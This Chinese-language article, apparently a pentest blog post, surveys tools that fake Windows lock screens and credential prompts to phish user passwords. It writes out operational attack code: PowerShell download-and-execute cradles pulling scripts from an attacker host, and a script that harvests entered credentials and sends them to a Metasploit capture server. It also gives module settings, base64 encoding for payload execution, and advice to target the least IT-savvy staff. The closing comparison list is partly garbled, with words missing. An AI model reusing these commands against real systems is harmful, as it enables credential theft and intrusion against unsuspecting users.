仿冒Windows凭据





2020年第一季度,针对全球用户的网络钓鱼攻击数量与2019年同期相比翻了一番,从9%增至18%。这些数据由“卡巴斯基实验室”提供。



在Windows家族的操作系统中,某些程序和过程通常会请求用户凭据进行身份验证(例如,在Outlook中),以提升执行特权(用户帐户控制)或仅退出待机模式(Windows LockScreen)。模仿此Windows行为,可以检索用户凭据,以供以后在渗透测试中使用。本文汇总了一些用于更改锁定屏幕的常见网络钓鱼程序的摘要。



从#



现代的渗透测试技术通常基于C#编程语言,因为其中的程序可以通过各种框架(Cobalt Strike,Covenant等)执行



。1)FakeLogonScreen实用程序是由Arris Huijgen在C#中开发的,它不仅替代了标准的OS密码输入屏幕,并使用系统中标准屏幕设置的参数来执行此操作,这将大大增加不引起用户怀疑并成功获取其登录凭据的机会。





FakeLogonScreen-启动





FakeLogonScreen-锁定屏幕



在伪造的登录页面上输入密码时,FakeLogonScreen将在AD或本地验证凭据,以准确确定密码输入是否正确。将来,密码将显示在pentester的控制台中。





FakeLogonScreen-输入凭据



FakeLogonScreen还包括可执行文件的第二版本,该版本将捕获的凭据保存到受感染计算机本地的user.db文件中。可以使用type命令查看此文件:



type C:\Users\testTHUser3\AppData\Local\Microsoft\user.db




FakeLogonScreen-保存到user.db文件



2)Matt Pickford开发SharpLocker程序类似的方式工作一旦启动,它还将替换原始的登录屏幕。SharpLocker-屏幕锁定 用户输入的每个字符都会被截取,直到显示整个密码为止。但是,应注意,该实用程序不会验证密码,并且会嗅探用户在密码字段中输入的内容。SharpLocker-密码网络钓鱼



















电源外壳



Windows安全提示输入凭据非常常见,因为公司环境中的软件可能会定期需要其他确认或重新授权。例如,Microsoft Outlook是此类软件最出色的代表之一,它不断提示用户输入域凭据。



1.伪装成Windows安全查询窗口的实用程序称为CredsLeaker。为了使其正常运行,需要Web服务器,该Web服务器将从其接收所有必需的文件,并在其中存储用户凭据以及PowerShell的存在,以便向其服务器发送HTTP请求。将来,所有命令将从组合中包含的BAT文件执行。





CredsLeaker-HTTP传递



在运行run.bat文件之前,您需要对实用程序的配置文件进行所有必要的更改。启动run.bat文件后,用户将看到Windows安全窗口,要求其提供凭据。





CredsLeaker-网络钓鱼



窗口仅在输入有效的用户凭据后,提示窗口才会消失。域,计算机名,用户名和密码将保存在creds.txt文件中的以下路径中:



/var/www/html/creds.txt




CredsLeaker-输出到文件creds.txt。2



. Matt Nelson开发了一个PowerShell脚本,该脚本调用Windows Security凭据提示并对其进行验证。在输入有效凭据之前,用户也无法关闭此窗口。该脚本可以远程执行,输入的凭据将显示在攻击者计算机上的控制台中:



 powershell.exe -ep Bypass -c IEX ((New-Object Net.WebClient).DownloadString('http://10.10.0.5/Invoke-LoginPrompt.ps1')); Invoke-LoginPrompt




Invoke-LoginPrompt-远程调用





Invoke-LoginPrompt-网络钓鱼窗口



3. Nishang框架还包括一个PowerShell脚本,该脚本创建了虚假的用户凭据请求窗口。



Import-Module C:\Invoke-CredentialsPhish.ps1
 	Invoke-CredentialsPhish




Invoke-CredentialsPhish-本地呼叫和网络钓鱼窗口



生成的窗口将通知您此操作需要以凭证形式进行确认。就信息安全性而言,经验更丰富的用户可能会怀疑此窗口是由后台启动应用程序引起的,但并非企业网络中的每个人都可以拥有此知识。用户在对话框中输入的凭据将显示在控制台中。





Invoke-CredentialsPhish-收集的数据的输出



此脚本也可以远程运行:



powershell.exe -ep Bypass -c IEX ((New-Object Net.WebClient).DownloadString('http://10.10.0.5/Invoke-CredentialsPhish.ps1)); Invoke-CredentialsPhish


Rob Fuller在他的博客中描述了针对使用Metasploit和PowerShell欺骗用户凭据的攻击。Metasploit框架包括可以捕获来自各种协议(FTP,SMB,HTTP等)的用户凭据的模块。以下模块用于部署具有身份验证的基本HTTP服务器:



use auxiliary/server/capture/http_basic
set URIPATH /


通过生成Windows安全性提示窗口,然后将收集的凭据传输到先前通过Metasploit创建的HTTP服务器,PowerShell可用于对用户凭据进行网络钓鱼攻击:



$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName + "\" + [Environment]::UserName,[Environment]::UserDomainName);[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};
$wc = new-object net.webclient;
$wc.Headers.Add("User-Agent","Wget/1.9+cvs-stable (Red Hat modified)");
$wc.Proxy = [System.Net.WebRequest]::DefaultWebProxy;
$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;
$wc.credentials = new-object system.net.networkcredential($cred.username, $cred.getnetworkcredential().password, '');
$result = $wc.downloadstring('http://10.10.0.5/');


最初捕获凭据需要使用UTF-16LE编码,然后转换为Base64:



cat popup.txt | iconv -t UTF-16LE
 cat popup.txt | iconv -t UTF-16LE | base64 -w0




将代码转换



为本地或远程执行指定代码的Base64执行会导致提示用户进行授权(据称来自Windows安全性)。



powershell.exe -ep bypass -enc <base64> 






网络钓鱼凭据窗口



用户输入后,Metasploit模块将立即接收凭据。





Metasploit HTTP Server-检索凭据



Metasploit



Metasploit框架包括一个模块,该模块可以独立触发假窗口,以从系统中的几乎所有进程中请求Windows安全授权。为了使该模块正常工作,您需要指定一个正常的计费器会话和一个进程,将代表该进程调用伪造的Windows安全授权请求。



use post/windows/gather/phish_windows_credentials
set SESSION 3
set PROCESS *
run




Metasploit模块-配置



在这种情况下,*符号指示模块监视代表系统运行的所有进程(NT Authority \ System),并在代表系统在系统上启动新进程时调用对话框。





Metasploit模块-监视所有过程



一旦新过程开始,将向用户显示一个代表该过程的对话框,其中包含授权请求,据称可以确认进一步的工作。





Metasploit模块-网络钓鱼窗口



用户输入凭据后,它们将立即显示在Metasploit控制台中。





Metasploit模块-获取凭据



此外,可以将该模块配置为等待特定进程启动。





Metasploit模块-通过notepad.exe进程检索凭据



重击



Lockphish是另一个实用程序,能够执行欺骗Windows登录窗口的网络钓鱼攻击。登录窗口模板存储在PHP服务器上,默认情况下使用YouTube在输入用户名和密码后重定向用户。



 bash lockphish.sh




LockPhish-启动



此时,您需要使用社交工程吸引用户到锁定屏幕文件所在的网站。





LockPhish-下载文件



与所有其他实用程序不同,此锁定屏幕上的元素排列可能不准确,授权请求将代表管理员而不是当前用户帐户显示,并且锁定窗口的外部样式为Windows 10锁定屏幕。所有这些结合在一起可以极大地提醒用户。该实用程序也没有用于验证输入密码的机制。





LockPhish-锁定屏幕



用户输入凭据后,将重定向到youtube.com网站。





LockPhish-重定向



凭据将显示在控制台中。





LockPhish-收集的凭据



如果已在pentester设法设法在系统中立足(获得一个稳定的入口点),则本文介绍的方法将是有效的,但无法以其他方式提升特权或获取用户凭据。进行此类网络钓鱼攻击时,应仔细选择目标受众。如果目标是组织中最不懂IT的员工,那么效率将提高很多倍。



所有经过测试的软件的简要结论



  • FakeLogonScreen。使用系统中设置的标准参数时,它看起来尽可能逼真。知道如何执行输入凭据的验证。(最佳选择)

  • SharpLocker. , windows LockScreen, , . ( , FakeLogonScreen)
  • CredsLeaker. , , - . , - — , “” , - — , , . ( )
  • Invoke-LoginPrompt. , , Windows. . ( , )

  • Invoke-CredentialsPhish. , .

  • Rob Fuller. metasploit, , . ( )

  • Metasploit phish_windows_credentials. Metasploit ( ), . ( , IT- )

  • LockPhish。一方面,歪曲的锁屏布局,未经身份验证,甚至不考虑当前用户(始终要求管理员提供密码)。另一方面,它是唯一可以通过浏览器触发的患者。将链接发送给受害者并等待。(不建议使用开箱即用的方法,但是,如果您知道特定受害者的用户名,则可以从“管理员”重新配置该用户名,这样就不会太糟。它甚至可以工作)

在我们的电报博客中,甚至还有更多材料订阅!



All Articles